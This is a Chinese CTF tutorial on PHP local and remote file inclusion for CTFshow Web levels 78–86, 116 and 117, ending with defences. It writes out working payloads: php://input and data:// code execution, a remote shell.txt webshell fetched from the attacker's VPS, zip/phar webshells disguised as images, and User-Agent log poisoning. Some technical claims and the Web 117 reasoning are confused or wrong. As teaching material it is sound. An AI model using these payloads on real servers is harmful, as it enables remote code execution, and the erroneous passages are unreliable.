1. 项目概述:从“文件包含”到“完全控制”

文件包含漏洞,在Web安全领域,尤其是CTF竞赛和渗透测试中,是一个经典且威力巨大的攻击向量。它不像SQL注入那样直接窃取数据,也不像XSS那样影响前端用户,它的核心在于“逻辑混淆”——让服务器执行了它本不该执行的文件。简单来说,就是攻击者通过某种方式,诱使应用程序将攻击者可控的文件路径作为代码的一部分来加载和执行。这就像你让一个自动化的厨师(服务器)做菜,本来菜谱(代码)里写的是“从冰箱里拿鸡蛋”,但你通过某种方法,把“冰箱”这个词替换成了“门外那个陌生人给的袋子”,厨师就会毫不犹豫地执行,后果可想而知。

CTFshow平台上的“Web入门”系列题目,特别是78到86、116、117这几关,堪称文件包含漏洞的“百科全书”。它们没有停留在理论层面,而是通过精心设计的场景,层层递进地展示了文件包含漏洞的各种形态、利用技巧和绕过方法。从最基础的本地文件包含(LFI),到危险的远程文件包含(RFI),再到如何利用PHP的各种特性(如 php:// 伪协议、 data:// 协议)和系统特性(如日志污染、Session文件包含)来达成目的,最后甚至触及了包含限制的绕过(如截断)。通关这一系列题目,你收获的不仅仅是对一个漏洞的理解,更是一套完整的“以文件包含为入口,获取服务器权限”的实战方法论。

对于Web安全初学者而言,这个系列的价值在于它构建了一条清晰的学习路径。你不再需要零散地搜索“文件包含是什么”、“php://input怎么用”,而是可以跟着题目,像闯关一样,亲手实践每一个攻击步骤,理解其背后的原理和限制条件。本指南将带你深入剖析这些题目,不仅告诉你“怎么做”,更重点解释“为什么能这么做”,以及在实际渗透测试中,你该如何系统地寻找和利用这类漏洞。

2. 文件包含漏洞核心原理与PHP环境解析

要利用漏洞,必须先理解漏洞产生的根源。文件包含漏洞通常出现在使用文件包含函数的动态语言中,PHP因其 include require include_once require_once 这四个函数而成为重灾区。

2.1 包含函数的行为差异与安全影响

这四个函数的核心功能都是将指定文件的内容插入到当前脚本的位置并执行。但它们之间存在关键区别,这些区别直接影响着漏洞利用的稳定性和隐蔽性。

  • include vs require :最主要的区别在于对错误(如文件不存在)的处理方式。 include 在包含失败时会产生一个警告(E_WARNING),但脚本会继续执行。而 require 在失败时会产生一个致命错误(E_COMPILE_ERROR),并中止脚本。在CTF中,这通常影响不大,但在真实渗透中,使用 include 可能更隐蔽,因为即使路径错误,网站可能看起来还在正常运行,只是部分功能缺失,不易被管理员察觉。
  • *_once 后缀 :带有 _once 的函数会检查该文件是否已经被包含过,如果是,则不会再次包含。这主要用于防止函数重定义、变量重新赋值等问题。在漏洞利用时,如果你需要重复包含同一个恶意文件以执行多次操作,使用非 _once 的函数会更可靠。

漏洞产生的根本原因在于,开发人员本应包含一个固定的、预定义的文件(如 include(‘header.php’); ),但却错误地将用户输入直接拼接到了文件路径中(如 include($_GET[‘page’] . ‘.php’); )。攻击者通过控制输入(例如 page 参数),就可以让服务器去包含任意文件。

2.2 PHP伪协议:文件包含的“瑞士军刀”

PHP内置了一系列伪协议(Wrapper),它们不是真实的文件系统路径,而是一种特殊的流(Stream),允许你以访问文件的方式访问各种数据源。在文件包含漏洞的利用中,它们是突破限制、执行代码的关键武器。下面详细解析几个最常用的:

  1. php://input :这是一个只读流,允许你读取 原始POST数据 。这意味着,当你在POST body中直接写入PHP代码,并通过包含 php://input 来执行时,服务器会将整个POST体当作PHP代码来解析。

    • 利用条件 allow_url_include 配置项必须为 On (默认是 Off )。这是利用 php://input php://filter 进行代码执行的必要前提。
    • 典型利用姿势
      POST /vuln.php?file=php://input HTTP/1.1
      ...
      <?php system('ls /'); ?>
      
      服务器端的 include(‘php://input’) 会读取到 <?php system(‘ls /’); ?> 并执行它。
  2. php://filter :这是一个元封装器,设计用于在数据流打开时应用过滤器。在文件包含中,我们主要利用它的 convert.base64-encode 过滤器来 读取文件源码 ,特别是当直接包含 .php 文件时,其内容会被执行而无法看到源代码。

    • 典型利用姿势 ?file=php://filter/convert.base64-encode/resource=index.php
    • 这会将 index.php 文件的内容进行Base64编码后输出。攻击者拿到Base64字符串后解码,即可获得清晰的源代码,从而进一步分析寻找数据库配置、其他敏感接口或逻辑漏洞。这是 信息收集 的利器。
    • 链式过滤器 :你还可以使用多个过滤器,例如 read=convert.base64-encode|convert.base64-decode ,虽然看起来无意义,但在某些绕过场景下可能有奇效。
  3. data:// :该协议允许在URI中直接嵌入数据。它可以被视为一个“内联文件”。

    • 利用条件 :同样需要 allow_url_include = On
    • 典型利用姿势 ?file=data://text/plain,<?php phpinfo();?>
    • 更常见的用法是结合Base64,避免特殊字符被转义或截断: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg== (其中 PD9waHA... <?php system(“ls”); ?> 的Base64编码)。 data:// 协议非常强大,因为它直接构造了一个包含代码的数据流。
  4. zip:// & phar:// :这两个协议用于包含压缩包中的文件。如果你能上传一个包含恶意脚本的ZIP或PHAR(PHP归档)文件,即使服务器限制了上传后缀(如只允许 .jpg ),你也可以通过包含 zip:///path/to/evil.jpg%23shell.php (注意 # 需要URL编码为 %23 )或 phar:///path/to/evil.jpg/shell.php 来执行压缩包内的PHP文件。这是 绕过上传黑名单 的经典手法。

注意 :伪协议的利用高度依赖于PHP配置( allow_url_fopen allow_url_include )。在实战信息收集阶段,通过 phpinfo() 页面或错误信息判断这些开关的状态是至关重要的第一步。

2.3 包含的“目标”:不仅仅是脚本文件

理解文件包含漏洞的另一个维度是理解“可以包含什么”。目标不仅仅是 .php 脚本。

  • 非PHP文本文件 :包含 .txt .log .ini 等文件可以直接读取其内容,常用于窃取配置文件。
  • 系统敏感文件 :这是本地文件包含(LFI)的直接危害。例如:
    • /etc/passwd :查看系统用户列表(Linux)。
    • /proc/self/environ :包含当前进程的环境变量。如果环境变量中有用户可控的数据(如HTTP_USER_AGENT),我们可以通过修改User-Agent注入代码,然后包含这个文件来执行。这就是“日志污染”攻击的基础。
    • /var/log/apache2/access.log :Apache访问日志。攻击者可以故意发起一个请求,在User-Agent或Referer字段中写入PHP代码,然后通过LFI包含这个日志文件,代码就会被执行。Nginx等其他Web服务的日志同理。
  • Session文件 :PHP的Session默认存储在文件系统中(如 /tmp/sess_[sessionid] )。Session内容通常是序列化的,但如果攻击者能预测或获取到Session文件名,并且能向Session中写入可控数据(例如,一个存储用户名的字段),就可以构造一个包含PHP代码的Session,然后通过LFI包含它来执行代码。

3. CTFshow Web 78-86关:漏洞利用基础与进阶手法

这一系列题目是标准的文件包含漏洞教学关卡,环境通常模拟了 allow_url_include=On 的宽松配置,让我们可以专注于利用手法的学习。

3.1 Web 78-79:伪协议的直接应用

这两关通常是最简单的引入,代码逻辑类似于:

<?php
if(isset($_GET['file'])){
    include $_GET['file'];
}
?>

没有任何后缀拼接或过滤。我们的任务就是利用伪协议读取服务器上的一个特定文件(比如 flag.php )的源代码,但直接包含 flag.php 会被执行,看不到源码。

解题步骤与思考:

  1. 信息收集 :首先尝试 ?file=php://filter/resource=flag.php ,发现输出的是执行后的结果(可能是空,因为flag可能只是赋值给变量而不输出)。这说明我们需要读取源码。
  2. 应用过滤器 :使用Base64编码过滤器: ?file=php://filter/convert.base64-encode/resource=flag.php
  3. 解码获取Flag :页面上会显示一串Base64编码的字符串,复制下来,在线或用自己的脚本解码,就能看到 flag.php 的源代码,从中找到Flag。

实操心得 :遇到文件包含,第一个直觉不应该是执行命令,而是 先读源码 。源码里往往藏着数据库连接信息、其他接口路径、甚至是更多的漏洞。 php://filter 是你最好的朋友。

3.2 Web 80:远程文件包含(RFI)初探

从这一关开始,可能会引入对 http:// https:// 等远程协议的直接支持,或者题目提示需要从远程获取内容。RFI比LFI更危险,因为它意味着攻击者可以直接让服务器加载并执行托管在外部服务器上的恶意脚本。

解题步骤与思考:

  1. 检查RFI是否开启 :尝试 ?file=http://your-vps/shell.txt 。注意,你的 shell.txt 里需要是完整的PHP代码( <?php ... ?> ),因为远程包含的文件会被当作PHP执行。
  2. 搭建远程服务器 :在自己的VPS上,用Python快速起一个HTTP服务: python3 -m http.server 80 ,并在web根目录下放置 shell.txt ,内容为 <?php system($_GET[‘cmd’]);?>
  3. 发起包含请求 :访问 http://ctfshow靶场地址/vuln.php?file=http://你的VPS_IP/shell.txt?cmd=ls / (注意,这里将命令参数 cmd 直接追加在了远程URL后面,这是一种常见的传递参数的方式)。
  4. 获取Flag :如果RFI成功,服务器会执行你的 shell.txt ,并运行 ls / 命令,将根目录列表返回给你,从中找到flag文件(如 /flag )并读取。

注意事项 :现代PHP版本默认 allow_url_include 是关闭的,且通常会禁止包含远程URL。CTF题目是为了教学而特殊开启的。在真实渗透中,RFI比较罕见,但一旦存在,危害极大。

3.3 Web 81-82:data://协议与编码绕过

这两关可能会增加一些简单的过滤,比如检查 file 参数中是否包含 php 关键字,或者尝试过滤 <? 等标签。 data:// 协议由于其灵活性,成为绕过的利器。

解题步骤与思考:

  1. 测试过滤规则 :先尝试 ?file=data://text/plain,<?php phpinfo();?> 。如果被拦截,可能是 <?php 被过滤了。
  2. 使用Base64编码绕过 :PHP的 data:// 协议支持Base64编码格式。将你的Payload(例如 <?php system(‘ls’);?> )进行Base64编码,得到 PD9waHAgc3lzdGVtKCdscycpOz8+
  3. 构造Payload ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+
  4. 利用成功 :服务器解码Base64并执行其中的PHP代码。这种方式可以有效绕过对特定字符串的简单过滤。

3.4 Web 83-86:zip://与phar://协议利用

这几关模拟了“上传+包含”的组合漏洞场景。题目允许你上传一个文件,但后端会对后缀进行校验(比如只允许 .jpg .png )。然后,另一个功能点存在文件包含漏洞,你可以包含你上传的文件。

解题步骤与思考:

  1. 制作恶意压缩包
    • 创建一个 shell.php 文件,内容为 <?php system($_GET[‘c’]);?>
    • shell.php 压缩成 shell.zip
    • shell.zip 重命名为 shell.jpg (绕过上传后缀检查)。
  2. 上传文件 :通过题目提供的上传功能,将 shell.jpg (实质是ZIP文件)上传到服务器,记下返回的文件路径,例如 /uploads/shell.jpg
  3. 利用zip://协议包含 :访问包含点,使用Payload: ?file=zip:///var/www/html/uploads/shell.jpg%23shell.php
    • 关键点1 :协议格式是 zip://[压缩包绝对路径]#[压缩包内文件名]
    • 关键点2 # 在URL中表示锚点,需要将其URL编码为 %23 ,否则服务器接收到的 # 及其后的内容会被浏览器截断。
    • 关键点3 :路径通常是绝对路径。在不知道绝对路径时,可能需要结合其他信息泄露漏洞(如报错)来获取。
  4. 执行命令 :如果包含成功,你的 shell.php 就会被执行。此时可以传递参数: ?file=zip://...%23shell.php&c=cat /flag
  5. phar://协议 :用法类似: ?file=phar:///var/www/html/uploads/shell.jpg/shell.php phar:// 是PHP专用的归档协议,比 zip:// 更常用于此类场景。

踩坑记录 :最常出错的地方就是 # 号没有编码,以及路径不对。在Linux下,上传文件的路径可能需要猜测,常见的有 /var/www/html/upload/ /tmp/ 等。如果 zip:// 不行,一定要试试 phar:// ,有时因为PHP版本或配置问题,其中一个协议可能不可用。

4. CTFshow Web 116 & 117:高阶绕过与综合利用

116和117关通常代表了文件包含漏洞的“毕业挑战”。它们会设置更强的防御,比如后缀强制添加、字符串过滤等,需要综合运用多种技巧。

4.1 Web 116:后缀截断与长度溢出

这一关的代码可能形如:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'] . '.php';
    include $file;
}
?>

题目强制为你的输入添加了 .php 后缀。你的目标是包含一个非 .php 结尾的文件(比如 /etc/passwd ),或者包含一个伪协议(如 php://input ),但末尾的 .php 会破坏协议格式。

核心思路:利用截断 在特定版本的PHP和特定配置下,存在一些“截断”技巧,可以让系统忽略我们输入之后的内容(即题目添加的 .php )。

  1. %00空字节截断(CVE-2006-7243)

    • 条件 :PHP版本 < 5.3.4,且 magic_quotes_gpc = Off
    • 原理 :在C语言中,空字节( \x00 )是字符串的结束符。如果PHP内部使用C库函数处理路径,遇到 %00 (URL编码的空字节)可能会认为字符串到此结束。
    • Payload ?file=../../../../etc/passwd%00 。服务器拼接后变成 ../../../../etc/passwd%00.php ,但系统在读取时遇到 %00 就停止了,实际包含了 /etc/passwd
    • 现状 :由于PHP版本更新和安全修复,此方法在现代环境中已基本失效。
  2. 路径长度截断(Windows/特定Linux环境)

    • 原理 :某些文件系统或PHP内部实现有最大路径长度限制(如Windows的260字符)。当路径超过这个长度时,超出的部分会被截断。
    • Payload ?file=php://input/././././...(重复非常多次) 。通过添加大量的 /./ /xxx/ 来撑长路径,使得最后的 .php 超出限制而被忽略。这种方法成功率不稳定,依赖于环境。
  3. 点号截断(Windows特定)

    • 原理 :在Windows系统下,文件和目录名不能以点号或空格结尾,系统会自动去除这些字符。
    • Payload ?file=../../../../etc/passwd. ?file=../../../../etc/passwd ... (末尾多个空格)。拼接后为 passwd..php ,Windows可能会将其视为 passwd.php ?实际上对于包含非PHP文件效果不佳,且仅限Windows,在CTF的Linux环境下通常无效。

对于116关的实战策略 : 由于空字节截断在现代靶场很可能无效,我们需要换个思路。如果题目只是添加后缀,但没有过滤协议,我们可以尝试让伪协议“吞噬”掉后缀。

  • 尝试: ?file=php://filter/convert.base64-encode/resource=flag 。拼接后为 php://filter/convert.base64-encode/resource=flag.php 。这个路径仍然是合法的 php://filter 协议格式,它会把 flag.php 这个文件进行Base64编码后输出。 这直接达成了读取 flag.php 源码的目的,根本不需要截断!
  • 关键在于, .php 后缀被当作 resource 参数的一部分,而 php://filter 协议处理器会正确地找到 flag.php 这个文件并处理它。这是一种“将计就计”的绕过。

4.2 Web 117:多重过滤与终极绕过

117关会是终极考验,它可能同时包含:

  • 后缀添加 $file = $_GET[‘file’] . ‘.php’
  • 关键字过滤 :使用 str_replace preg_match 过滤 php data input filter zip phar 等协议关键字。
  • 目录限制 :检查是否包含 .. (目录遍历)。

综合绕过思路:

  1. 大小写绕过 :如果过滤是大小写敏感的,尝试 PHP://INPUT DaTa:// 等。
  2. 双写绕过 :如果过滤是简单的 str_replace(‘php’, ‘’, $input) ,可以使用 ?file=phpphp://input ,过滤掉中间的 php 后,剩下的正好是 php://input
  3. 使用不常见的协议或封装器 :除了上述协议,还可以尝试:
    • expect:// :执行系统命令,但需要安装并启用 expect 扩展,极罕见。
    • glob:// ssh2:// 等,用处不大。
  4. 编码绕过 :如果过滤发生在URL解码之后,可以尝试对关键字进行URL编码。例如, php 的URL编码是 %70%68%70 。但注意,浏览器会自动解码一次,所以需要二次编码。例如,将 p 编码为 %70 ,再将 % 编码为 %25 ,最终 p 变成 %2570 。这非常复杂且依赖服务器解码逻辑。
  5. 结合文件上传与包含 :这是最可靠的绕过方式。如果题目有任何地方能让你上传一个文件(哪怕只是临时文件、头像上传等),并且你能知道或猜到它的路径,你就可以包含这个你上传的文件。即使它被重命名了,只要内容是你可控的(比如你在图片的EXIF信息中插入了PHP代码),就有可能成功。这就是 日志污染 Session包含 攻击的核心。

117关的假设性解法 : 假设题目过滤了 php data 等关键字,并添加了 .php 后缀。

  • 思路A:利用 .php 后缀包含非PHP文件 。如果服务器上存在一个已知路径的文本文件,里面有你通过其他方式(如User-Agent)注入的PHP代码,你可以直接包含它。例如,通过日志污染,在访问日志中写入代码,然后包含 /var/log/apache2/access.log 。即使拼接后变成 access.log.php ,只要这个文件不存在, include 会尝试包含 access.log (因为 .php 文件不存在,PHP可能会回退到寻找原始路径?不,PHP会直接寻找 access.log.php )。此路通常不通。
  • 思路B:终极技巧——协议嵌套与路径混淆 。在某些特定场景下,可以尝试极其复杂的Payload,如: ?file=php:»//filter/convert.base64-encode/resource=flag (使用非标准字符),但这需要深入了解PHP的流包装器解析逻辑,在CTF中不常见。
  • 最可能的预期解 :回到题目本身,检查是否有 文件上传点 。很可能你需要先上传一个图片马(将PHP代码写入图片的二进制数据中),然后通过文件包含漏洞,结合 php://filter 的某些过滤器(如 convert.iconv.* )来读取并解码图片马中的代码,或者直接包含图片文件,如果服务器配置错误(如 mime.type 判断有误)将其当作PHP执行。或者,题目环境可能配置了 .htaccess nginx 规则,将 .jpg 文件解析为PHP,这样你上传的 shell.jpg 就能直接作为PHP执行。

5. 实战中的文件包含漏洞挖掘与防御

5.1 漏洞挖掘:在黑盒与白盒测试中寻找包含点

黑盒测试(无源码):

  1. 参数枚举 :对每个接收参数(尤其是 file page template load path include 等)进行Fuzz测试。使用Burp Suite的Intruder或自定义字典,尝试包含 /etc/passwd ../../../../etc/passwd php://filter/resource=index.php 等Payload。
  2. 错误信息 :尝试包含一个不存在的文件,观察错误信息。有时错误信息会暴露出绝对路径、服务器配置等。
  3. 功能点分析 :重点关注模板加载、语言包切换、文件下载/预览、文档导入等功能,这些功能背后很可能调用了文件包含函数。
  4. Web日志分析 :如果发现LFI,立即尝试包含Web服务器的访问日志和错误日志(如 /var/log/apache2/access.log ),为日志污染攻击做准备。

白盒测试(有源码):

  1. 代码审计 :全局搜索 include require include_once require_once 这四个函数。
  2. 跟踪变量 :检查传递给这些函数的参数是否用户可控(来自 $_GET $_POST $_COOKIE $_REQUEST )。
  3. 分析过滤逻辑 :查看对用户输入做了哪些过滤(如 str_replace preg_match addslashes 等),是否可被绕过。
  4. 检查配置 :查看 php.ini 配置,确认 allow_url_include allow_url_fopen 的状态。

5.2 漏洞利用链的构建

孤立的文件包含漏洞威力有限,但一旦与其他漏洞结合,就能形成强大的攻击链。

  1. LFI + 日志污染 = RCE :这是最经典的组合。首先利用LFI读取 /proc/self/environ 或Web日志路径,确认日志位置和内容。然后,通过Burp Suite修改你的HTTP请求,在 User-Agent Referer 头中插入PHP代码(如 <?php system($_GET[‘cmd’]);?> )。最后,利用LFI包含这个日志文件,代码即被服务器执行。
  2. LFI + 文件上传 = RCE :如果网站有任意文件上传漏洞,但上传路径不可知或文件名被随机化,结合LFI可能会让你包含你上传的文件。即使只能上传图片,也可以尝试制作图片马,并利用包含漏洞配合 php://filter convert.base64-encode 来读取图片中的恶意代码(如果代码被存储在可读的文本区域)。
  3. LFI + PHP Session = RCE :如果应用将用户可控数据存入 $_SESSION (比如用户名),并且你知道Session文件的存储路径(默认 /tmp/ )和命名规则( sess_[PHPSESSID] ),你就可以通过设置自己的 PHPSESSID 和用户名(包含PHP代码),然后让服务器包含这个Session文件来执行代码。

5.3 防御方案:从开发与运维双视角

开发层面(根本解决):

  1. 避免动态包含 :尽可能使用静态包含或固定的映射关系。
  2. 白名单校验 :如果必须动态包含,应使用白名单机制。定义一个允许包含的文件名数组,只包含数组内的值。
    $allowed_pages = [‘home.php’, ‘about.php’, ‘contact.php’];
    if(in_array($_GET[‘page’], $allowed_pages)){
        include($_GET[‘page’]);
    } else {
        include(‘404.php’);
    }
    
  3. 严格过滤路径 :如果白名单不可行,必须对输入进行严格净化。
    • 禁止目录遍历:过滤 .. / (在Windows下还要过滤 \ )。
    • 限制文件扩展名:确保包含的文件具有预期的后缀(但注意,攻击者可能利用伪协议绕过)。
    • 使用 basename() 函数:只获取路径中的文件名部分,去除目录。
  4. 设置包含目录 :使用 open_basedir 配置项,将PHP脚本可以访问的文件限制在指定的目录树中。

运维配置层面:

  1. 关闭危险配置 :在 php.ini 中,确保以下配置为 Off
    • allow_url_fopen = Off
    • allow_url_include = Off
    • register_globals = Off (历史版本)
    • magic_quotes_gpc = Off (历史版本,且不推荐依赖)
  2. 限制文件系统权限 :Web服务器进程(如www-data用户)应以最低必要权限运行,避免其读取系统敏感文件(如 /etc/passwd , /etc/shadow )。
  3. 安全日志配置 :将Web服务日志的权限设置为仅root可读,防止攻击者通过LFI读取日志进行污染。
  4. 及时更新 :保持PHP、Web服务器(Apache/Nginx)及所有组件的最新版本,以修复已知的截断类漏洞。

文件包含漏洞的魅力在于它揭示了Web应用“信任边界”的模糊性。它教会我们,任何将用户输入直接映射到文件系统或程序逻辑的操作,都必须经过最严格的审视。通过CTFshow这一系列的实战,我们不仅掌握了各种“奇技淫巧”,更重要的是建立了“输入即不可信”的安全思维模型。在真实世界里,漏洞可能隐藏得更深,组合方式更巧妙,但核心原理和攻防思路是相通的。下次当你看到 include require 时,不妨多问一句:这个路径,我真的能完全控制吗?

更多推荐